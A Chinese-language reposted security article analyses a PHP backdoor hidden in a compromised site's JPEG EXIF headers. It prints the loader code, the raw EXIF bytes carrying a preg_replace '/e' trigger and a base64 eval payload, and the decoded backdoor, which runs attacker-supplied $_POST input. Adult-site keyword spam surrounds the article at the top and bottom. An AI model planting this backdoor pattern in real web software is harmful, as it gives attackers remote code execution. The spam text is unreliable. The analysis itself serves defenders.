成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

一種隱藏在JPG圖片EXIF中的后門

安全 黑客攻防 應(yīng)用安全
這是一個非常有趣的后門,它并沒有依靠正常模式去隱藏起內(nèi)容(比如 base64/gzip 編碼),但是它卻把自己的數(shù)據(jù)隱藏在JPEG圖片的EXIT頭部中了。它也使用exif_read_data和preg_replace兩個PHP函數(shù)來讀取EXIF頭部和執(zhí)行。

這是一個非常有趣的后門,它并沒有依靠正常模式去隱藏起內(nèi)容(比如 base64/gzip 編碼),但是它卻把自己的數(shù)據(jù)隱藏在JPEG圖片的EXIT頭部中了。它也使用exif_read_data和preg_replace兩個PHP函數(shù)來讀取EXIF頭部和執(zhí)行。

技術(shù)細(xì)節(jié)

這個后門可分為兩部分。第一部分是 exif_read_data 函數(shù)讀取圖片頭部,preg_replace 函數(shù)來執(zhí)行內(nèi)容。下面是我們在被攻破網(wǎng)站上發(fā)現(xiàn)的代碼:

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

這兩個函數(shù)本身是無害滴。exif_read_data 函數(shù)常用來讀取圖片,preg_replace 函數(shù)是替代字符內(nèi)容。不過,preg_replace 函數(shù)函數(shù)有個隱藏并微妙的選項(xiàng),如果你傳入 “/e”,它會執(zhí)行 eval() 中的內(nèi)容,就不是去查詢/替代了。

所以我們在查看bun.jpg文件時,發(fā)現(xiàn)后門的第二部分:

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^

這個文件用以常見的頭部開始,但是在 ”make” 頭部中混入了奇怪的關(guān)鍵字 ”/.*/e” 。有了這個執(zhí)行修飾符, preg_replace 會執(zhí)行 eval() 中傳入的任意內(nèi)容。

事情變得開始有趣了……

如果咱們繼續(xù)來看看 EXIF 數(shù)據(jù),我們能發(fā)現(xiàn), “eval ( base64_decode”隱藏在 ”Model“ 頭部。把這些放在一起看,咱們就知道怎么回事了。攻擊者是從 EXIF 中讀取 Make 和 Model 頭部信息,然后傳入到 preg_replace 函數(shù)。只要我們修改 $exif['Make'] 和 $exif['Model'] ,就得到了最終的后門。

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");

解碼后我們可以看到是執(zhí)行 $_POST["zz1"] 提供的內(nèi)容。完整解碼后的后面在這里。

if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..

隱藏惡意軟件

另外一個有意思的是,雖然 bun.jpg 和其他圖片文件被修改了,但然后能加載并正常工作。實(shí)際上,在這些被攻破的站點(diǎn),攻擊者修改了站點(diǎn)上一個合法并之前就存在的圖片。這是一種奇特的隱藏惡意軟件的方法。

原文地址:http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html

責(zé)任編輯:藍(lán)雨淚 來源: FreebuF
相關(guān)推薦

2015-02-28 10:52:05

2012-08-16 09:39:04

2016-10-26 09:12:58

2009-07-25 22:03:28

2011-06-13 09:59:21

2018-05-09 10:40:15

云存儲數(shù)據(jù)對象存儲

2023-05-04 07:11:29

2016-11-21 11:43:11

Python

2021-01-15 13:27:50

竊密腳本CSS惡意代碼

2018-04-24 11:06:18

云遷移數(shù)據(jù)遷移數(shù)據(jù)庫

2021-07-09 10:29:50

云計(jì)算云計(jì)算環(huán)境云應(yīng)用

2019-08-29 07:51:26

2022-11-15 10:05:26

2016-12-02 10:05:49

Python彩蛋

2021-04-21 13:44:50

惡意代碼網(wǎng)絡(luò)釣魚攻擊

2014-05-16 10:44:57

設(shè)計(jì)交互設(shè)計(jì)

2020-11-06 00:00:00

PHP技巧后門

2020-12-23 10:10:23

Pythonweb代碼

2022-06-22 09:44:41

Python文件代碼

2022-07-07 10:33:27

Python姿勢代碼
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 最新av在线播放 | 国产精品国产精品国产专区不片 | 精品无码久久久久久久动漫 | 99精品久久99久久久久 | 国产乱码精品一区二区三区av | 欧美一级二级视频 | 蜜桃视频在线观看免费视频网站www | 毛片在线免费播放 | 韩国av一区二区 | 一区二区三区四区免费观看 | 伊人最新网址 | 亚洲久草视频 | 中文字幕一区二区在线观看 | 欧美在线观看一区 | www.久| 午夜日韩| 天天碰日日操 | 一区二区三区不卡视频 | 91九色porny首页最多播放 | 国产91综合一区在线观看 | 91久久夜色 | 欧美黄页 | 日韩视频在线一区 | 日韩三级电影一区二区 | 亚洲伊人久久综合 | 日韩av黄色| 黄色av网站免费看 | 久草免费在线 | 欧美成年网站 | 欧美一区二区三区 | 成人免费一区二区三区视频网站 | 欧美精品网 | 日韩精品一区二区三区在线观看 | 亚洲一区二区三区在线 | 中国91av| www.国产精| 久国产| 亚洲a视频| 99久久免费精品国产男女高不卡 | 亚洲欧美久久 | 国产综合区 |